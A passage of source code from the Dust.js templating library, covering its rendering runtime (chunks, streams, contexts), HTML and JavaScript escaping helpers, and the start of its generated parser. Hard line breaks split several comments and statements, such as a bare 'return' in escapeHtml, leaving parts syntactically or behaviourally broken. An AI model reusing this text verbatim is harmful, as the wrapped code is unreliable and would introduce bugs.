  Context.prototype.shiftBlocks = function(locals) {
    var blocks = this.blocks,
        newBlocks;

    if (locals) {
      if (!blocks) {
        newBlocks = [locals];
      } else {
        newBlocks = blocks.concat([locals]);
      }
      return new Context(this.stack, this.global, this.options, newBlocks,
this.getTemplateName());
    }
    return this;
  };

  Context.prototype.resolve = function(body) {
    var chunk;

    if(typeof body !== 'function') {
      return body;
    }
    chunk = new Chunk().render(body, this);
    if(chunk instanceof Chunk) {
      return chunk.data.join(''); // ie7 perf
    }
    return chunk;
  };

  Context.prototype.getTemplateName = function() {
    return this.templateName;
  };

  function Stack(head, tail, idx, len) {
    this.tail = tail;
    this.isObject = head && typeof head === 'object';
    this.head = head;
    this.index = idx;
    this.of = len;
  }

  function Stub(callback) {
    this.head = new Chunk(this);
    this.callback = callback;
    this.out = '';
  }

  Stub.prototype.flush = function() {
    var chunk = this.head;

    while (chunk) {
      if (chunk.flushable) {
        this.out += chunk.data.join(''); //ie7 perf
      } else if (chunk.error) {
        this.callback(chunk.error);
        dust.log('Rendering failed with error `' + chunk.error +
'`', ERROR);
        this.flush = EMPTY_FUNC;
        return;
      } else {
        return;
      }
      chunk = chunk.next;
      this.head = chunk;
    }
    this.callback(null, this.out);
  };

  /**
   * Creates an interface sort of like a Streams2 ReadableStream.
   */
  function Stream() {
    this.head = new Chunk(this);
  }

  Stream.prototype.flush = function() {
    var chunk = this.head;

    while(chunk) {
      if (chunk.flushable) {
        this.emit('data', chunk.data.join('')); //ie7
perf
      } else if (chunk.error) {
        this.emit('error', chunk.error);
        this.emit('end');
        dust.log('Streaming failed with error `' + chunk.error +
'`', ERROR);
        this.flush = EMPTY_FUNC;
        return;
      } else {
        return;
      }
      chunk = chunk.next;
      this.head = chunk;
    }
    this.emit('end');
  };

  /**
   * Executes listeners for `type` by passing data. Note that this is
different from a
   * Node stream, which can pass an arbitrary number of arguments
   * @return `true` if event had listeners, `false` otherwise
   */
  Stream.prototype.emit = function(type, data) {
    var events = this.events || {},
        handlers = events[type] || [],
        i, l;

    if (!handlers.length) {
      dust.log('Stream broadcasting, but no listeners for `' +
type + '`', DEBUG);
      return false;
    }

    handlers = handlers.slice(0);
    for (i = 0, l = handlers.length; i < l; i++) {
      handlers[i](data);
    }
    return true;
  };

  Stream.prototype.on = function(type, callback) {
    var events = this.events = this.events || {},
        handlers = events[type] = events[type] || [];

    if(typeof callback !== 'function') {
      dust.log('No callback function provided for `' + type +
'` event listener', WARN);
    } else {
      handlers.push(callback);
    }
    return this;
  };

  /**
   * Pipes to a WritableStream. Note that backpressure isn't
implemented,
   * so we just write as fast as we can.
   * @param stream {WritableStream}
   * @return self
   */
  Stream.prototype.pipe = function(stream) {
    if(typeof stream.write !== 'function' ||
       typeof stream.end !== 'function') {
      dust.log('Incompatible stream passed to `pipe`', WARN);
      return this;
    }

    var destEnded = false;

    if(typeof stream.emit === 'function') {
      stream.emit('pipe', this);
    }

    if(typeof stream.on === 'function') {
      stream.on('error', function() {
        destEnded = true;
      });
    }

    return this
    .on('data', function(data) {
      if(destEnded) {
        return;
      }
      try {
        stream.write(data, 'utf8');
      } catch (err) {
        dust.log(err, ERROR);
      }
    })
    .on('end', function() {
      if(destEnded) {
        return;
      }
      try {
        stream.end();
        destEnded = true;
      } catch (err) {
        dust.log(err, ERROR);
      }
    });
  };

  function Chunk(root, next, taps) {
    this.root = root;
    this.next = next;
    this.data = []; //ie7 perf
    this.flushable = false;
    this.taps = taps;
  }

  Chunk.prototype.write = function(data) {
    var taps = this.taps;

    if (taps) {
      data = taps.go(data);
    }
    this.data.push(data);
    return this;
  };

  Chunk.prototype.end = function(data) {
    if (data) {
      this.write(data);
    }
    this.flushable = true;
    this.root.flush();
    return this;
  };

  Chunk.prototype.map = function(callback) {
    var cursor = new Chunk(this.root, this.next, this.taps),
        branch = new Chunk(this.root, cursor, this.taps);

    this.next = branch;
    this.flushable = true;
    try {
      callback(branch);
    } catch(err) {
      dust.log(err, ERROR);
      branch.setError(err);
    }
    return cursor;
  };

  Chunk.prototype.tap = function(tap) {
    var taps = this.taps;

    if (taps) {
      this.taps = taps.push(tap);
    } else {
      this.taps = new Tap(tap);
    }
    return this;
  };

  Chunk.prototype.untap = function() {
    this.taps = this.taps.tail;
    return this;
  };

  Chunk.prototype.render = function(body, context) {
    return body(this, context);
  };

  Chunk.prototype.reference = function(elem, context, auto, filters) {
    if (typeof elem === 'function') {
      elem = elem.apply(context.current(), [this, context, null, {auto:
auto, filters: filters}]);
      if (elem instanceof Chunk) {
        return elem;
      } else {
        return this.reference(elem, context, auto, filters);
      }
    }
    if (dust.isThenable(elem)) {
      return this.await(elem, context, null, auto, filters);
    } else if (dust.isStreamable(elem)) {
      return this.stream(elem, context, null, auto, filters);
    } else if (!dust.isEmpty(elem)) {
      return this.write(dust.filter(elem, auto, filters, context));
    } else {
      return this;
    }
  };

  Chunk.prototype.section = function(elem, context, bodies, params) {
    var body = bodies.block,
        skip = bodies['else'],
        chunk = this,
        i, len, head;

    if (typeof elem === 'function' &&
!dust.isTemplateFn(elem)) {
      try {
        elem = elem.apply(context.current(), [this, context, bodies,
params]);
      } catch(err) {
        dust.log(err, ERROR);
        return this.setError(err);
      }
      // Functions that return chunks are assumed to have handled the chunk
manually.
      // Make that chunk the current one and go to the next method in the
chain.
      if (elem instanceof Chunk) {
        return elem;
      }
    }

    if (dust.isEmptyObject(bodies)) {
      // No bodies to render, and we've already invoked any function
that was available in
      // hopes of returning a Chunk.
      return chunk;
    }

    if (!dust.isEmptyObject(params)) {
      context = context.push(params);
    }

    /*
    Dust's default behavior is to enumerate over the array elem,
passing each object in the array to the block.
    When elem resolves to a value or object instead of an array, Dust sets
the current context to the value
    and renders the block one time.
    */
    if (dust.isArray(elem)) {
      if (body) {
        len = elem.length;
        if (len > 0) {
          head = context.stack && context.stack.head || {};
          head.$len = len;
          for (i = 0; i < len; i++) {
            head.$idx = i;
            chunk = body(chunk, context.push(elem[i], i, len));
          }
          head.$idx = undefined;
          head.$len = undefined;
          return chunk;
        } else if (skip) {
          return skip(this, context);
        }
      }
    } else if (dust.isThenable(elem)) {
      return this.await(elem, context, bodies);
    } else if (dust.isStreamable(elem)) {
      return this.stream(elem, context, bodies);
    } else if (elem === true) {
     // true is truthy but does not change context
      if (body) {
        return body(this, context);
      }
    } else if (elem || elem === 0) {
       // everything that evaluates to true are truthy ( e.g. Non-empty
strings and Empty objects are truthy. )
       // zero is truthy
       // for anonymous functions that did not returns a chunk, truthiness
is evaluated based on the return value
      if (body) {
        return body(this, context.push(elem));
      }
     // nonexistent, scalar false value, scalar empty string, null,
     // undefined are all falsy
    } else if (skip) {
      return skip(this, context);
    }
    dust.log('Section without corresponding key in template `' +
context.getTemplateName() + '`', DEBUG);
    return this;
  };

  Chunk.prototype.exists = function(elem, context, bodies) {
    var body = bodies.block,
        skip = bodies['else'];

    if (!dust.isEmpty(elem)) {
      if (body) {
        return body(this, context);
      }
      dust.log('No block for exists check in template `' +
context.getTemplateName() + '`', DEBUG);
    } else if (skip) {
      return skip(this, context);
    }
    return this;
  };

  Chunk.prototype.notexists = function(elem, context, bodies) {
    var body = bodies.block,
        skip = bodies['else'];

    if (dust.isEmpty(elem)) {
      if (body) {
        return body(this, context);
      }
      dust.log('No block for not-exists check in template `' +
context.getTemplateName() + '`', DEBUG);
    } else if (skip) {
      return skip(this, context);
    }
    return this;
  };

  Chunk.prototype.block = function(elem, context, bodies) {
    var body = elem || bodies.block;

    if (body) {
      return body(this, context);
    }
    return this;
  };

  Chunk.prototype.partial = function(elem, context, partialContext, params)
{
    var head;

    if(params === undefined) {
      // Compatibility for < 2.7.0 where `partialContext` did not exist
      params = partialContext;
      partialContext = context;
    }

    if (!dust.isEmptyObject(params)) {
      partialContext = partialContext.clone();
      head = partialContext.pop();
      partialContext = partialContext.push(params)
                                     .push(head);
    }

    if (dust.isTemplateFn(elem)) {
      // The eventual result of evaluating `elem` is a partial name
      // Load the partial after getting its name and end the async chunk
      return this.capture(elem, context, function(name, chunk) {
        partialContext.templateName = name;
        load(name, chunk, partialContext).end();
      });
    } else {
      partialContext.templateName = elem;
      return load(elem, this, partialContext);
    }
  };

  Chunk.prototype.helper = function(name, context, bodies, params, auto) {
    var chunk = this,
        filters = params.filters,
        ret;

    // Pre-2.7.1 compat: if auto is undefined, it's an old template.
Automatically escape
    if (auto === undefined) {
      auto = 'h';
    }

    // handle invalid helpers, similar to invalid filters
    if(dust.helpers[name]) {
      try {
        ret = dust.helpers[name](chunk, context, bodies, params);
        if (ret instanceof Chunk) {
          return ret;
        }
        if(typeof filters === 'string') {
          filters = filters.split('|');
        }
        if (!dust.isEmptyObject(bodies)) {
          return chunk.section(ret, context, bodies, params);
        }
        // Helpers act slightly differently from functions in context in
that they will act as
        // a reference if they are self-closing (due to grammar
limitations)
        // In the Chunk.await function we check to make sure bodies is null
before acting as a reference
        return chunk.reference(ret, context, auto, filters);
      } catch(err) {
        dust.log('Error in helper `' + name + '`: ' +
err.message, ERROR);
        return chunk.setError(err);
      }
    } else {
      dust.log('Helper `' + name + '` does not exist',
WARN);
      return chunk;
    }
  };

  /**
   * Reserve a chunk to be evaluated once a thenable is resolved or
rejected
   * @param thenable {Thenable} the target thenable to await
   * @param context {Context} context to use to render the deferred chunk
   * @param bodies {Object} must contain a "body", may contain an
"error"
   * @param auto {String} automatically apply this filter if the Thenable
is a reference
   * @param filters {Array} apply these filters if the Thenable is a
reference
   * @return {Chunk}
   */
  Chunk.prototype.await = function(thenable, context, bodies, auto,
filters) {
    return this.map(function(chunk) {
      thenable.then(function(data) {
        if (bodies) {
          chunk = chunk.section(data, context, bodies);
        } else {
          // Actually a reference. Self-closing sections don't render
          chunk = chunk.reference(data, context, auto, filters);
        }
        chunk.end();
      }, function(err) {
        var errorBody = bodies && bodies.error;
        if(errorBody) {
          chunk.render(errorBody, context.push(err)).end();
        } else {
          dust.log('Unhandled promise rejection in `' +
context.getTemplateName() + '`', INFO);
          chunk.end();
        }
      });
    });
  };

  /**
   * Reserve a chunk to be evaluated with the contents of a streamable.
   * Currently an error event will bomb out the stream. Once an error
   * is received, we push it to an {:error} block if one exists, and log
otherwise,
   * then stop listening to the stream.
   * @param streamable {Streamable} the target streamable that will emit
events
   * @param context {Context} context to use to render each thunk
   * @param bodies {Object} must contain a "body", may contain an
"error"
   * @return {Chunk}
   */
  Chunk.prototype.stream = function(stream, context, bodies, auto, filters)
{
    var body = bodies && bodies.block,
        errorBody = bodies && bodies.error;
    return this.map(function(chunk) {
      var ended = false;
      stream
        .on('data', function data(thunk) {
          if(ended) {
            return;
          }
          if(body) {
            // Fork a new chunk out of the blockstream so that we can flush
it independently
            chunk = chunk.map(function(chunk) {
              chunk.render(body, context.push(thunk)).end();
            });
          } else if(!bodies) {
            // When actually a reference, don't fork, just write into
the master async chunk
            chunk = chunk.reference(thunk, context, auto, filters);
          }
        })
        .on('error', function error(err) {
          if(ended) {
            return;
          }
          if(errorBody) {
            chunk.render(errorBody, context.push(err));
          } else {
            dust.log('Unhandled stream error in `' +
context.getTemplateName() + '`', INFO);
          }
          if(!ended) {
            ended = true;
            chunk.end();
          }
        })
        .on('end', function end() {
          if(!ended) {
            ended = true;
            chunk.end();
          }
        });
    });
  };

  Chunk.prototype.capture = function(body, context, callback) {
    return this.map(function(chunk) {
      var stub = new Stub(function(err, out) {
        if (err) {
          chunk.setError(err);
        } else {
          callback(out, chunk);
        }
      });
      body(stub.head, context).end();
    });
  };

  Chunk.prototype.setError = function(err) {
    this.error = err;
    this.root.flush();
    return this;
  };

  // Chunk aliases
  for(var f in Chunk.prototype) {
    if(dust._aliases[f]) {
      Chunk.prototype[dust._aliases[f]] = Chunk.prototype[f];
    }
  }

  function Tap(head, tail) {
    this.head = head;
    this.tail = tail;
  }

  Tap.prototype.push = function(tap) {
    return new Tap(tap, this);
  };

  Tap.prototype.go = function(value) {
    var tap = this;

    while(tap) {
      value = tap.head(value);
      tap = tap.tail;
    }
    return value;
  };

  var HCHARS = /[&<>"']/,
      AMP    = /&/g,
      LT     = /</g,
      GT     = />/g,
      QUOT   = /\"/g,
      SQUOT  = /\'/g;

  dust.escapeHtml = function(s) {
    if (typeof s === "string" || (s && typeof s.toString
=== "function")) {
      if (typeof s !== "string") {
        s = s.toString();
      }
      if (!HCHARS.test(s)) {
        return s;
      }
      return
s.replace(AMP,'&amp;').replace(LT,'&lt;').replace(GT,'&gt;').replace(QUOT,'&quot;').replace(SQUOT,
'&#39;');
    }
    return s;
  };

  var BS = /\\/g,
      FS = /\//g,
      CR = /\r/g,
      LS = /\u2028/g,
      PS = /\u2029/g,
      NL = /\n/g,
      LF = /\f/g,
      SQ = /'/g,
      DQ = /"/g,
      TB = /\t/g;

  dust.escapeJs = function(s) {
    if (typeof s === 'string') {
      return s
        .replace(BS, '\\\\')
        .replace(FS, '\\/')
        .replace(DQ, '\\"')
        .replace(SQ, '\\\'')
        .replace(CR, '\\r')
        .replace(LS, '\\u2028')
        .replace(PS, '\\u2029')
        .replace(NL, '\\n')
        .replace(LF, '\\f')
        .replace(TB, '\\t');
    }
    return s;
  };

  dust.escapeJSON = function(o) {
    if (!JSON) {
      dust.log('JSON is undefined; could not escape `' + o +
'`', WARN);
      return o;
    } else {
      return JSON.stringify(o)
        .replace(LS, '\\u2028')
        .replace(PS, '\\u2029')
        .replace(LT, '\\u003c');
    }
  };

  return dust;

}));

(function(root, factory) {
  if (typeof define === "function" && define.amd
&& define.amd.dust === true) {
    define("dust.parse", ["dust.core"], function(dust)
{
      return factory(dust).parse;
    });
  } else if (typeof exports === 'object') {
    // in Node, require this file if we want to use the parser as a
standalone module
    module.exports = factory(require('./dust'));
    // @see server file for parser methods exposed in node
  } else {
    // in the browser, store the factory output if we want to use the
parser directly
    factory(root.dust);
  }
}(this, function(dust) {
  var parser = (function() {
  /*
   * Generated by PEG.js 0.8.0.
   *
   * http://pegjs.majda.cz/
   */

  function peg$subclass(child, parent) {
    function ctor() { this.constructor = child; }
    ctor.prototype = parent.prototype;
    child.prototype = new ctor();
  }

  function SyntaxError(message, expected, found, offset, line, column) {
    this.message  = message;
    this.expected = expected;
    this.found    = found;
    this.offset   = offset;
    this.line     = line;
    this.column   = column;

    this.name     = "SyntaxError";
  }

  peg$subclass(SyntaxError, Error);

  function parse(input) {
    var options = arguments.length > 1 ? arguments[1] : {},

        peg$FAILED = {},

        peg$startRuleFunctions = { start: peg$parsestart },
        peg$startRuleFunction  = peg$parsestart,

        peg$c0 = [],
        peg$c1 = function(p) {
            var body = ["body"].concat(p);
            return withPosition(body);
          },
        peg$c2 = { type: "other", description:
"section" },
        peg$c3 = peg$FAILED,
        peg$c4 = null,
        peg$c5 = function(t, b, e, n) {
            if( (!n) || (t[1].text !== n.text) ) {
              error("Expected end tag for "+t[1].text+" but
it was not found.");
            }
            return true;
          },
        peg$c6 = void 0,
        peg$c7 = function(t, b, e, n) {
            e.push(["param", ["literal",
"block"], b]);
            t.push(e, ["filters"]);
            return withPosition(t)
          },
        peg$c8 = "/",
        peg$c9 = { type: "literal", value: "/",
description: "\"/\"" },
        peg$c10 = function(t) {
            t.push(["bodies"], ["filters"]);
            return withPosition(t)
          },
        peg$c11 = /^[#?\^<+@%]/,
        peg$c12 = { type: "class", value:
"[#?\\^<+@%]", description: "[#?\\^<+@%]" },
        peg$c13 = function(t, n, c, p) { return [t, n, c, p] },
        peg$c14 = { type: "other", description: "end
tag" },
        peg$c15 = function(n) { return n },
        peg$c16 = ":",
        peg$c17 = { type: "literal", value: ":",
description: "\":\"" },
        peg$c18 = function(n) {return n},
        peg$c19 = function(n) { return n ? ["context", n] :
["context"] },
        peg$c20 = { type: "other", description:
"params" },
        peg$c21 = "=",
        peg$c22 = { type: "literal", value: "=",
description: "\"=\"" },
        peg$c23 = function(k, v) {return ["param",
["literal", k], v]},
        peg$c24 = function(p) { return ["params"].concat(p) },
        peg$c25 = { type: "other", description:
"bodies" },
        peg$c26 = function(p) { return ["bodies"].concat(p) },
        peg$c27 = { type: "other", description:
"reference" },
        peg$c28 = function(n, f) { return
withPosition(["reference", n, f]) },
        peg$c29 = { type: "other", description:
"partial" },
        peg$c30 = ">",
        peg$c31 = { type: "literal", value: ">",
description: "\">\"" },
        peg$c32 = "+",
        peg$c33 = { type: "literal", value: "+",
description: "\"+\"" },
        peg$c34 = function(k) {return ["literal", k]},
        peg$c35 = function(s, n, c, p) {
            var key = (s === ">") ? "partial" : s;
            return withPosition([key, n, c, p])
          },
        peg$c36 = { type: "other", description:
"filters" },
        peg$c37 = "|",
        peg$c38 = { type: "literal", value: "|",
description: "\"|\"" },
        peg$c39 = function(f) { return ["filters"].concat(f) },
        peg$c40 = { type: "other", description:
"special" },
        peg$c41 = "~",
        peg$c42 = { type: "literal", value: "~",
description: "\"~\"" },
        peg$c43 = function(k) { return withPosition(["special",
k]) },
        peg$c44 = { type: "other", description:
"identifier" },
        peg$c45 = function(p) {
            var arr = ["path"].concat(p);
            arr.text =
p[1].join('.').replace(/,line,\d+,col,\d+/g,'');
            return arr;
          },
        peg$c46 = function(k) {
            var arr = ["key", k];
            arr.text = k;
            return arr;
          },
        peg$c47 = { type: "other", description:
"number" },
        peg$c48 = function(n) { return ['literal', n]; },
        peg$c49 = { type: "other", description: "float"
},
        peg$c50 = ".",
        peg$c51 = { type: "literal", value: ".",
description: "\".\"" },
        peg$c52 = function(l, r) { return parseFloat(l + "." +
r); },
        peg$c53 = { type: "other", description:
"unsigned_integer" },
        peg$c54 = /^[0-9]/,
        peg$c55 = { type: "class", value: "[0-9]",
description: "[0-9]" },
        peg$c56 = function(digits) { return makeInteger(digits); },
        peg$c57 = { type: "other", description:
"signed_integer" },
        peg$c58 = "-",
        peg$c59 = { type: "literal", value: "-",
description: "\"-\"" },
        peg$c60 = function(sign, n) { return n * -1; },
        peg$c61 = { type: "other", description:
"integer" },
        peg$c62 = { type: "other", description: "path"
},
        peg$c63 = function(k, d) {
            d = d[0];
            if (k && d) {
              d.unshift(k);
              return withPosition([false, d])
            }
            return withPosition([true, d])
          },
        peg$c64 = function(d) {
            if (d.length > 0) {
              return withPosition([true, d[0]])
            }
            return withPosition([true, []])
          },
        peg$c65 = { type: "other", description: "key"
},
        peg$c66 = /^[a-zA-Z_$]/,
        peg$c67 = { type: "class", value: "[a-zA-Z_$]",
description: "[a-zA-Z_$]" },
        peg$c68 = /^[0-9a-zA-Z_$\-]/,
        peg$c69 = { type: "class", value:
"[0-9a-zA-Z_$\\-]", description: "[0-9a-zA-Z_$\\-]" },
        peg$c70 = function(h, t) { return h + t.join('') },
        peg$c71 = { type: "other", description: "array"
},
        peg$c72 = function(n) {return n.join('')},
        peg$c73 = function(a) {return a; },
        peg$c74 = function(i, nk) { if(nk) { nk.unshift(i); } else {nk =
[i] } return nk; },
        peg$c75 = { type: "other", description:
"array_part" },
        peg$c76 = function(k) {return k},
        peg$c77 = function(d, a) { if (a) { return d.concat(a); } else {
return d; } },
        peg$c78 = { type: "other", description:
"inline" },
        peg$c79 = "\"",
        peg$c80 = { type: "literal", value: "\"",
description: "\"\\\"\"" },
        peg$c81 = function() { return withPosition(["literal",
""]) },
        peg$c82 = function(l) { return withPosition(["literal",
l]) },
        peg$c83 = function(p) { return
withPosition(["body"].concat(p)) },
        peg$c84 = function(l) { return ["buffer", l] },
        peg$c85 = { type: "other", description:
"buffer" },
        peg$c86 = function(e, w) { return withPosition(["format",
e, w.join('')]) },
        peg$c87 = { type: "any", description: "any
character" },
        peg$c88 = function(c) {return c},
        peg$c89 = function(b) { return withPosition(["buffer",
b.join('')]) },
        peg$c90 = { type: "other", description:
"literal" },
        peg$c91 = /^[^"]/,
        peg$c92 = { type: "class", value: "[^\"]",
description: "[^\"]" },
        peg$c93 = function(b) { return b.join('') },
        peg$c94 = "\\\"",
        peg$c95 = { type: "literal", value:
"\\\"", description: "\"\\\\\\\"\""
},
        peg$c96 = function() { return '"' },
        peg$c97 = { type: "other", description: "raw"
},
        peg$c98 = "{`",
        peg$c99 = { type: "literal", value: "{`",
description: "\"{`\"" },
        peg$c100 = "`}",
        peg$c101 = { type: "literal", value: "`}",
description: "\"`}\"" },
        peg$c102 = function(character) {return character},
        peg$c103 = function(rawText) { return
withPosition(["raw", rawText.join('')]) },
        peg$c104 = { type: "other", description:
"comment" },
        peg$c105 = "{!",
        peg$c106 = { type: "literal", value: "{!",
description: "\"{!\"" },
        peg$c107 = "!}",
        peg$c108 = { type: "literal", value: "!}",
description: "\"!}\"" },
        peg$c109 = function(c) { return withPosition(["comment",
c.join('')]) },
        peg$c110 = /^[#?\^><+%:@\/~%]/,
        peg$c111 = { type: "class", value:
"[#?\\^><+%:@\\/~%]", description:
"[#?\\^><+%:@\\/~%]" },
        peg$c112 = "{",
        peg$c113 = { type: "literal", value: "{",
description: "\"{\"" },
        peg$c114 = "}",
        peg$c115 = { type: "literal", value: "}",
description: "\"}\"" },
        peg$c116 = "[",
        peg$c117 = { type: "literal", value: "[",
description: "\"[\"" },
        peg$c118 = "]",
        peg$c119 = { type: "literal", value: "]",
description: "\"]\"" },
        peg$c120 = "\n",
        peg$c121 = { type: "literal", value: "\n",
description: "\"\\n\"" },
        peg$c122 = "\r\n",
        peg$c123 = { type: "literal", value: "\r\n",
description: "\"\\r\\n\"" },
        peg$c124 = "\r",
        peg$c125 = { type: "literal", value: "\r",
description: "\"\\r\"" },
        peg$c126 = "\u2028",
        peg$c127 = { type: "literal", value: "\u2028",
description: "\"\\u2028\"" },
        peg$c128 = "\u2029",
        peg$c129 = { type: "literal", value: "\u2029",
description: "\"\\u2029\"" },
        peg$c130 = /^[\t\x0B\f \xA0\uFEFF]/,
        peg$c131 = { type: "class", value: "[\\t\\x0B\\f
\\xA0\\uFEFF]", description: "[\\t\\x0B\\f \\xA0\\uFEFF]" },

        peg$currPos          = 0,
        peg$reportedPos      = 0,
        peg$cachedPos        = 0,
        peg$cachedPosDetails = { line: 1, column: 1, seenCR: false },
        peg$maxFailPos       = 0,
        peg$maxFailExpected  = [],
        peg$silentFails      = 0,

        peg$result;

    if ("startRule" in options) {
      if (!(options.startRule in peg$startRuleFunctions)) {
        throw new Error("Can't start parsing from rule
\"" + options.startRule + "\".");
      }

      peg$startRuleFunction = peg$startRuleFunctions[options.startRule];
    }

    function text() {
      return input.substring(peg$reportedPos, peg$currPos);
    }

    function offset() {
      return peg$reportedPos;
    }

    function line() {
      return peg$computePosDetails(peg$reportedPos).line;
    }

    function column() {
      return peg$computePosDetails(peg$reportedPos).column;
    }

    function expected(description) {
      throw peg$buildException(
        null,
        [{ type: "other", description: description }],
        peg$reportedPos
      );
    }

    function error(message) {
      throw peg$buildException(message, null, peg$reportedPos);
    }

    function peg$computePosDetails(pos) {
      function advance(details, startPos, endPos) {
        var p, ch;

        for (p = startPos; p < endPos; p++) {
          ch = input.charAt(p);
          if (ch === "\n") {
            if (!details.seenCR) { details.line++; }
            details.column = 1;
            details.seenCR = false;
          } else if (ch === "\r" || ch === "\u2028" ||
ch === "\u2029") {
            details.line++;
            details.column = 1;
            details.seenCR = true;
          } else {
            details.column++;
            details.seenCR = false;
          }
        }
      }

      if (peg$cachedPos !== pos) {
        if (peg$cachedPos > pos) {
          peg$cachedPos = 0;
          peg$cachedPosDetails = { line: 1, column: 1, seenCR: false };
        }
        advance(peg$cachedPosDetails, peg$cachedPos, pos);
        peg$cachedPos = pos;
      }

      return peg$cachedPosDetails;
    }

    function peg$fail(expected) {
      if (peg$currPos < peg$maxFailPos) { return; }

      if (peg$currPos > peg$maxFailPos) {
        peg$maxFailPos = peg$currPos;
        peg$maxFailExpected = [];
      }

      peg$maxFailExpected.push(expected);
    }

    function peg$buildException(message, expected, pos) {
      function cleanupExpected(expected) {
        var i = 1;

        expected.sort(function(a, b) {
          if (a.description < b.description) {
            return -1;
          } else if (a.description > b.description) {
            return 1;
          } else {
            return 0;
          }
        });

        while (i < expected.length) {
          if (expected[i - 1] === expected[i]) {
            expected.splice(i, 1);
          } else {
            i++;
          }
        }
      }

      function buildMessage(expected, found) {
        function stringEscape(s) {
          function hex(ch) { return
ch.charCodeAt(0).toString(16).toUpperCase(); }

          return s
            .replace(/\\/g,   '\\\\')
            .replace(/"/g,    '\\"')
            .replace(/\x08/g, '\\b')
            .replace(/\t/g,   '\\t')
            .replace(/\n/g,   '\\n')
            .replace(/\f/g,   '\\f')
            .replace(/\r/g,   '\\r')
            .replace(/[\x00-\x07\x0B\x0E\x0F]/g, function(ch) { return
'\\x0' + hex(ch); })
            .replace(/[\x10-\x1F\x80-\xFF]/g,    function(ch) { return
'\\x'  + hex(ch); })
            .replace(/[\u0180-\u0FFF]/g,         function(ch) { return
'\\u0' + hex(ch); })
            .replace(/[\u1080-\uFFFF]/g,         function(ch) { return
'\\u'  + hex(ch); });
        }

        var expectedDescs = new Array(expected.length),
            expectedDesc, foundDesc, i;

        for (i = 0; i < expected.length; i++) {
          expectedDescs[i] = expected[i].description;
        }

        expectedDesc = expected.length > 1
          ? expectedDescs.slice(0, -1).join(", ")
              + " or "
              + expectedDescs[expected.length - 1]
          : expectedDescs[0];

        foundDesc = found ? "\"" + stringEscape(found) +
"\"" : "end of input";

        return "Expected " + expectedDesc + " but " +
foundDesc + " found.";
      }

      var posDetails = peg$computePosDetails(pos),
          found      = pos < input.length ? input.charAt(pos) : null;

      if (expected !== null) {
        cleanupExpected(expected);
      }

      return new SyntaxError(
        message !== null ? message : buildMessage(expected, found),
        expected,
        found,
        pos,
        posDetails.line,
        posDetails.column
      );
    }

    function peg$parsestart() {
      var s0;

      s0 = peg$parsebody();

      return s0;
    }

    function peg$parsebody() {
      var s0, s1, s2;

      s0 = peg$currPos;
      s1 = [];
      s2 = peg$parsepart();
      while (s2 !== peg$FAILED) {
        s1.push(s2);
        s2 = peg$parsepart();
      }
      if (s1 !== peg$FAILED) {
        peg$reportedPos = s0;
        s1 = peg$c1(s1);
      }
      s0 = s1;

      return s0;
    }

    function peg$parsepart() {
      var s0;

      s0 = peg$parseraw();
      if (s0 === peg$FAILED) {
        s0 = peg$parsecomment();
        if (s0 === peg$FAILED) {
          s0 = peg$parsesection();
          if (s0 === peg$FAILED) {
            s0 = peg$parsepartial();
            if (s0 === peg$FAILED) {
              s0 = peg$parsespecial();
              if (s0 === peg$FAILED) {
                s0 = peg$parsereference();
                if (s0 === peg$FAILED) {
                  s0 = peg$parsebuffer();
                }
              }
            }
          }
        }
      }

      return s0;
    }

    function peg$parsesection() {
      var s0, s1, s2, s3, s4, s5, s6, s7;

      peg$silentFails++;
      s0 = peg$currPos;
      s1 = peg$parsesec_tag_start();
      if (s1 !== peg$FAILED) {
        s2 = [];
        s3 = peg$parsews();
        while (s3 !== peg$FAILED) {
          s2.push(s3);
          s3 = peg$parsews();
        }
        if (s2 !== peg$FAILED) {
          s3 = peg$parserd();
          if (s3 !== peg$FAILED) {
            s4 = peg$parsebody();
            if (s4 !== peg$FAILED) {
              s5 = peg$parsebodies();
              if (s5 !== peg$FAILED) {
                s6 = peg$parseend_tag();
                if (s6 === peg$FAILED) {
                  s6 = peg$c4;
                }
                if (s6 !== peg$FAILED) {
                  peg$reportedPos = peg$currPos;
                  s7 = peg$c5(s1, s4, s5, s6);
                  if (s7) {
                    s7 = peg$c6;
                  } else {
                    s7 = peg$c3;
                  }
                  if (s7 !== peg$FAILED) {
                    peg$reportedPos = s0;
                    s1 = peg$c7(s1, s4, s5, s6);
                    s0 = s1;
                  } else {
                    peg$currPos = s0;
                    s0 = peg$c3;
                  }
                } else {
                  peg$currPos = s0;
                  s0 = peg$c3;
                }
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      } else {
        peg$currPos = s0;
        s0 = peg$c3;
      }
      if (s0 === peg$FAILED) {
        s0 = peg$currPos;
        s1 = peg$parsesec_tag_start();
        if (s1 !== peg$FAILED) {
          s2 = [];
          s3 = peg$parsews();
          while (s3 !== peg$FAILED) {
            s2.push(s3);
            s3 = peg$parsews();
          }
          if (s2 !== peg$FAILED) {
            if (input.charCodeAt(peg$currPos) === 47) {
              s3 = peg$c8;
              peg$currPos++;
            } else {
              s3 = peg$FAILED;
              if (peg$silentFails === 0) { peg$fail(peg$c9); }
            }
            if (s3 !== peg$FAILED) {
              s4 = peg$parserd();
              if (s4 !== peg$FAILED) {
                peg$reportedPos = s0;
                s1 = peg$c10(s1);
                s0 = s1;
              } else {
                peg$currPos = s0;
                s0 = peg$c3;
              }
            } else {
              peg$currPos = s0;
              s0 = peg$c3;
            }
          } else {
            peg$currPos = s0;
            s0 = peg$c3;
          }
        } else {
          peg$currPos = s0;
          s0 = peg$c3;
        }
      }
      peg$silentFails--;
      if (s0 === peg$FAILED) {
        s1 = peg$FAILED;
        if (peg$silentFails === 0) { peg$fail(peg$c2); }
      }

      return s0;
    }

    function peg$parsesec_tag_start() {
      var s0, s1, s2, s3, s4, s5, s6;

      s0 = peg$currPos;
      s1 = peg$parseld();
      if (s1 !== peg$FAILED) {
        if (peg$c11.test(input.charAt(peg$currPos))) {
          s2 = input.charAt(peg$currPos);
          peg$currPos++;
        } else {
          s2 = peg$FAILED;
          if (peg$silentFails === 0) { peg$fail(peg$c12); }
        }
        if (s2 !== peg$FAILED) {
          s3 = [];
          s4 = peg$parsews();
          while (s4 !== peg$FAILED) {
            s3.push(s4);
            s4 = peg$parsews();
          }
          if (s3 !== peg$FAILED) {
            s4 = peg$parseidentifier();
            if (s4 !== peg$FAILED) {
              s5 = peg$parsecontext();
              if (s5 !== peg$FAILED) {
